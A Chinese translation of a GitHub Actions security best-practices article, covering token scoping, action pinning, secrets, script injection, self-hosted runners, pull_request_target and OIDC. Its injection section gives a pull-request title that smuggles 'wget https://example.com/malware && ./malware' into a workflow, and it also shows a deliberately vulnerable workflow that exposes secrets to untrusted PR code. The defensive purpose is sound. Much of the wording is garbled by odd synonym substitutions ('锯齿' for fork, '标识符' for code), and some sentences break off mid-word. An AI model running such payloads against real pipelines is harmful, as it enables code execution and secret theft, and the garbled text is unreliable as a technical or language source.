GitHub Actions安全的优秀实践

2023-01-02 0 861

做为开放源码街道社区最畅销的CI/CD辅助工具众所周知,GITHUB Actions可被用作公用或专有存储库的每项操作方式。责任编辑将和您探讨7种相关GitHub Actions的安全可靠课堂教学,以避免公钥、钻孔、和物流配送受到反击。

GitHub Actions是两个越来越畅销的CI/CD平台。它能在保持易出访性的同时,自动化开发阶段的几乎大部份任务。不过,虽然它经常会初始化外部标识符,这会给github Action的工作流带来各式各样风险安全隐患,因而不论他们是否维护的是开放源码工程项目,都须要采取许多必要的安全可靠措施。右图是我为您整理的一张保护GitHub Actions的速查表。我据此将和您开展深入探讨。

GitHub Actions安全的优秀实践

一、什么是GitHub Actions?

GitHub Actions是GitHub的一类CI/CD服务。它能做为从开发控制系统转化到生产控制系统的一类组织工作流机制。GitHub事件不但能促发各式各样action(如:提交拉取允诺、迈入难题、合并拉取允诺等),而且能继续执行任何命令。例如,它可用作序列化标识符、拉取允诺,将难题的注解与另两个考勤控制系统的注解相同步,为捷伊难题加进适当的条码,和促发全面的云部署。

通常,该组织工作流由一到数个作业组成。这些工作台在自己的软件包或罐子(运转流程,runner)中运转,并能继续执行一到数个关键步骤。其中,每两个关键步骤都能是两个shell脚本或action。其实,它是专门为GitHub CI生态控制系统装箱的一段可宠信的标识符。

虽然GitHub代销着数以千计的开放源码工程项目,这些工程项目能通过拉取允诺,进行锯齿(fork)和贡献(contribute),因而GitHub Actions的安全可靠性对于防范物流配送反击来说是非常重要的。下面,他们来探讨许多值得借鉴的杰出课堂教学:

二、设置信赖凭证的最小覆盖范围

让他们将这个适用作于组织工作过程中将大部份信赖凭证的形式化安全可靠原则,运用到特定的GITHUB_TOKEN上。该副本会授与每个运转流程与存储库可视化的职权。虽然它是临时的,因而其科学性桑翁组织工作流的开始和结束为界。

预设情况下,该副本的职权为“允许”(适用作于常用覆盖范围的读与写)或“受到限制”(适用作于常用覆盖范围的预设无职权)。虽然不论在何种情况下,锯齿的存储库最多只有两个读的出访(read-access)职权,因而不论您选择何种快捷键,都应该仅授与GITHUB_TOKEN继续执行组织工作流或工作台所需的最高职权。为此,他们须要在组织工作过程中将,使用“职权”键,来配置组织工作流或工作台所需的最高职权,以实现对GitHub Actions职权的细粒度控制。

当然,该原则也适用作于环境变量。为了限制环境变量的作用覆盖范围,您也应该始终在step级别去声明它,以避免其他阶段对其进行任意出访。

三、使用特定的操作方式版本条码

通常,当人们在GitHub上创建自己的组织工作流时,他们会直接使用由他人创建的Actions。例如,几乎大部份的组织工作流程都会从如下关键步骤开始:

YAML – name: Check out repository uses: actions/checkout@v3

种第三方action会与您的标识符进行可视化,并且可能在服务器上运转。对此,他们往往缺乏在后台监控各式各样发布更新、和继续执行更改等实际操作方式的概念。

让他们来设想这样一类威胁场景:您须要使用两个第三方的linter,来检查自己标识符上的格式难题。为此,您决定直接使用来自GitHub Actions Marketplace的两个action,而无需自行安装、配置和运转linter。在完成试运转后,您能在存储库中设置两个使用它的组织工作流:

YAML – name: Lint code uses: someperson/lint-action@v1

而在该操作方式被使用了数月之后,您可能突然遇到了API公钥被盗或滥用的问题。经过调查,该第三方linter action的作者,最近向GitHub Marketplace推送了两个更新,将其重新标记为“v1”,其中便包含了将环境变量发送到某个随机网址的标识符。因而,每个使用“someperson/linter-action@v1”的人,都会在他们的组织工作过程中将运转该恶意标识符。

对于没有人会关注其使用的第三方action是否有更捷伊情况,他们该如何实施安全可靠保护呢?GitHub为他们提供了一类方法:您能通过提交哈希,而非使用来自存储库的条码,来运转某项操作方式。例如,当您将罐子镜像自动推送到Docker Hub时,能在组织工作过程中将使用如下标识符,来进行身份验证:

YAML – name: Log in to the container registry uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9

通过在验证Docker Hub时,准确地指定待提交的内容,他们能保证组织工作过程中将的action具有一致性,而不必担心其发生任何变化。

四、不要使用纯文本的密码

虽然这是两个常识,但还是须要提一下:请既不要在源标识符中,也不要在CI组织工作流文件里,以纯文本的形式存储API的公钥或密码。做为一项服务,GitHub Secrets能让您以安全可靠的方式,存储自己的公钥,并在组织工作过程中将使用各式各样${{}}括号,来引用它,以确保将大部份纯文本的机密信息,都排除在GitHub Actions之外。

当然,您也能使用免费的ggshield-action,来扫描源标识符中是否存在着密码。

1、不要引用您无法控制的值

正如前文所述,GitHub允许您使用各式各样${{}}括号,来引用GitHub环境中的机密信息。不过,这些可引用的信息不一定是由您设置的。这也是许多开放源码存储库的常用错误源。下面的组织工作流便是我两个错误:

YAML – name: lint run: | echo “${{github.event.pull_request.title}}” | commitlint

其“lint”命令包含了来自拉取允诺的许多输入,其中

a” && wget https://example.com/malware && ./malware && echo “Title

那么,如下YAML组织工作流会便会被评估:

YAML – name: lint run: | echo “a” && wget https://example.com/malware && ./malware && echo “Title” | commitlint

在本例中,反击者下载并继续执行了恶意软件,进而窃取了运转流程的GITHUB_TOKEN。而根据组织工作流的运转上下文,副本可能具有对原始存储库的写入职权。这就意味着反击者完全能修改存储库里内容(也包括发布)。

另两个例子则是从CI中窃取敏感数据,即收集可用作横向移动的公钥。虽然拉取允诺标题并非外部各方设置的唯一GitHub环

为了安全可靠起见,您有两种选择:

使用Action而不是内联脚本

Action将使用(不可信的)上下文值做为参数,来判断注入反击:

YAML – uses: fakeaction/checktitle@v3 with: title: ${{ github.event.pull_request.title }} 2、使用中间环境变量

如果您须要继续执行两个脚本,则应该设置两个中间环境变量:

YAML – name: Check PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: | echo “$PR_TITLE”

请注意,他们通过对变量加进双引号,来避免其他类型的利用,从而起到了额外的预防效果。

六、仅在可信的标识符上运转组织工作流

不论您是代销自己的action运转流程,还是使用GitHub的运转流程,当组织工作流运转时,您都须要谨慎地授与潜在的运转标识符、出访机密信息、和在运转流程环境中继续执行的职权。

如果您维护两个开放源码的存储库,那么很可能会收到许多从未接触过的定期拉取允诺。对此,您应该多问自己:“在启动组织工作流时,正在运转的是什么标识符?这些标识符从何而来?”

让他们考虑两个潜在的威胁场景。假设您是GitHub上某个组织的维护者,并且手头有两个设置了自动化测试的开放源码工程项目。某日,有人向该存储库提交了两个包含有新特性和许多测试用例的拉取允诺。您不知道的是,其中两个测试用例并不包含测试标识符,而是会在服务器上安装并运转某个“挖矿”应用。那么,一旦您的CI启动了大部份的测试标识符,您原有的运转流程就会受到影响。

实际上,GitHub能通过预设设置,来保护他们免受此类反击。也就是说,GitHub能不允许个人帐户在公用存储库上使用自代销运转流程,而仅对组织不设限。

针对此类场景的另一类保护措施是,针对来自拉取允诺的标识符,确定何时运转GitHub Actions。预设情况下,来自首次贡献者(contributor)的拉取允诺,须要维护者的批准,才能开始CI测试。而做为维护者,您有责任确保在批准组织工作流之前,仔细阅读大部份提交的标识符。当然,如果有人在提交带有恶意标识符的第二个允诺之前,事先提交了两个小的拉取请求。那么虽然他并非首次贡献者,其大部份的配置组织工作流都会自动运转。对此,GitHub能被设置为要求大部份外部合作者的每一次允诺都须要获得批准。

七、加固Action运转流程

在设置CI组织工作流期间,您能在每个组织工作过程中将指定其应该运转的位置。GitHub提供了许多针对Ubuntu、Mac和Windows等不同的运转流程。当您使用GitHub的运转流程时,它必须做为两个干净的VM被启动。当然,您也能选择将自己的服务器配置为运转流程,来继续执行自己的组织工作流。

注意,请千万不要将自代销的运转流程用作公用存储库。这无疑允许了任何人锯齿您的存储库,进而提交恶意拉取允诺,逃离沙箱,和出访网络。如果您确实须要设置自代销运转流程的话,请注意如下方面:

1.您自己应该是唯一能配置服务器上运转的组织工作流的人。

2.使用专用的非特权帐户(例如:github-runner等非管理员的职权)来启动运转流程,并继续执行组织工作流。同时,您应该确保它无权修改其组织工作空间之外的任何内容(除非在组织工作过程中将使用sudo),并且只允许它继续执行所属的特定文件。

3.通过设置临时且被隔离的负载,来继续执行诸如Kubernetes Pod或罐子等工作台。据此,当组织工作流完成时,软件包就会被销毁,以避免各式各样潜在的风险。

4.使用日志记录和安全可靠监控辅助工具。如果您有两个安全可靠团队,可通过使用EDR代理、或类似Linux的Sysmon之类的辅助工具,去收集运转流程服务器上的进程日志,并通过检测规则,在发生可疑情况时发出警告。

在典型的SolarWinds物流配送反击中,反击者曾位于SolarWinds所构建的服务器内,并使用其出访职权将恶意标识符注入到了Orion平台上。如果他们能对运转流程的可疑活动采取有效的监控的话,就能确保标识符的完整性,防范构建过程被篡改,和反击者使用的命令与控制(command-and-control,C2)、及各式各样持久性技术。

八、请小心使用pull_request_target促发器

在维护开放源码的存储库时,您还可能碰到被称为pwn requests的漏洞。恶意拉取允诺会利用该漏洞,在特定情况下截获秘密信息、甚至篡改发布。因而,如果您在GitHub Actions中使用了“on: pull_request_target”事件,请不要使用如下标识符内容:

YAML on: pull_request_target … steps: – uses: actions/checkout@v3 with: ref: ${{ github.event.pull_request.head.sha }}

也就是说,当有人锯齿您的存储库,并打开两个拉取允诺时,就会涉及到两个存储库:两个是在您控制下的目标库,和他人的锯齿存储库(fork repo)。

通常,当有人提交拉取允诺时,他们会使用“pull_request”促发事件,来促发组织工作流。有了它,被促发的组织工作流就只会在提交者的锯齿存储库的上下文中运转。而且,被提供的GITHUB_TOKEN将没有写入的职权,更无法出访到机密信息。

虽然这些都是合理的预设设置,但在某些情况下,它可能有点过于受到限制了。应开放源码街道社区的要求,GitHub引入了“pull_request_target”事件。它与前者之间的区别并不大,但存在着许多安全可靠安全隐患。例如:虽然pull_request_target促发器是在您的目标存储库的上下文中运转的,那么组织工作流便能出访到您的机密信息,并写入您的标识符。一旦组织工作流运转那些不受控制的标识符,就会变得非常危险。这也就是为什么检查锯齿存储库的标识符,就须要解读组织工作流,以分析出任何类型的远程标识符继续执行的原因。

九、漏洞示例

为了证明这一点,让他们来看下面易受反击的GitHub Action:

YAML name: my action on: pull_request_target jobs: pr-check: name: Check PR runs-on: ubuntu-latest steps: – name: Setup Action uses: actions/checkout@v3 with: ref: ${{github.event.pull_request.head.ref}} repository: ${{github.event.pull_request.head.repo.full_name}} – name: Setup Python 3.10 uses: actions/setup-python@v3 with: python-version: 3.10 – name: Install dependencies run: pip install -r requirements.txt – name: some command run: some_command env: SOME_SECRET: ${{ secrets.SOME_SECRET }}

该标识符满足了两个条件:组织工作流促发器运转在目标存储库上,工作台的第一步是签出拉取允诺标识符的HEAD(即,最后一次提交)。因此,该标识符将会在来自拉取允诺的组织工作流的其余部分被使用到,并且会打开各式各样被利用的威胁向量。

例如,为了安装依赖项而继续执行的、看似无害的“run: pip install …”,此时便是两个潜在的向量。毕库的源标识符继续执行修改、和重新标记(re-tagging)发布等操作方式。

这能说是为发起物流配送反击准备的“完美”漏洞,毕竟开放源码工程项目的大部份用户都可能在不知情的情况下受到此类反击。当然,这只是两个反击向量。而通过更改some_command二进制文件,来窃取SOME_SECRET环境变量,可能要容易得多。

注意,不仅是上述shell命令在此类配置中容易受反击,就算组织工作流仅依赖于action,虽然各式各样action会在后台继续执行本地的脚本,因而标识符注入仍然极容易发生。这就是为什么他们强烈建议您不要使用pull_request_target的原因。即便您使用了,也千万不要盲目地签出那些不受信赖的拉取允诺标识符。

十、首选使用OpenID Connect出访云资源

OpenID Connect(OIDC)允许您将组织工作流允诺并使用来自云服务提供商的短期出访副本,而无需将那些长期有效的公钥复制到GitHub中。通过配置,您还能受益于来自云提供商的细粒度出访控制,和更好的自动化公钥管理。

为此,您须要首先在云提供商处建立OIDC的信赖关系,以控制谁能出访什么资源。然后,在GitHub上,OIDC提供者将被配置为自动生成包含声明的JWT副本。该声明允许组织工作流对云服务提供者进行身份验证。一旦这些声明被验证通过,两个基于角色范畴的、短期出访副本就会被发送回组织工作流,以方便后期继续执行。

十一、结论

综上所述,做为开放源码街道社区最受欢迎的CI/CD辅助工具众所周知,GitHub Actions可被用作公用或专有存储库的每项操作方式。不过,从安全可靠的角度,您应该小心设置与之相关组织工作流的方式,以避免公钥、钻孔、和物流配送受到反击。

在此,我将上面探讨过的GitHub Actions的安全可靠课堂教学总结如下:

1.使用最小覆盖范围的信赖凭证,并且确保GITHUB_TOKEN配置了最高职权,去运转您的工作台。

2.使用特定的版本条码,以免受到第三方action的供应链危害。

3.切勿以明文形式存储任何API公钥、副本或密码,请使用ggshield-action在您的CI组织工作过程中将通过修复,来实施公钥检测。

4.避免直接引用易受恶意拉取允诺注入的标识符、不可控的值,请使用带有参数的action,或直接将值绑定到环境变量中。

5.在使用自代销运转流程时,应格外小心,最好不要将此快捷键用作开放源码存储库,或启用要求大部份外部提交都获批才能运转的组织工作流。让运转流程使用软件包,并将其配置为在最短时间内,使用低职权用户,并配备充分的日志记录和监控辅助工具。

6.鉴于恶意的拉取允诺可能会滥用您的构建关键步骤、公钥,进而破坏您的环境,因而在使用“pull_request_target event”时,请不要签出外部拉取允诺。

7.尽量使用OpenID Connect,而非长期有效的公钥,来实现组织工作流与云端资源的可视化。

原文链接: https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet 译者:陈峻 排版:老李

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务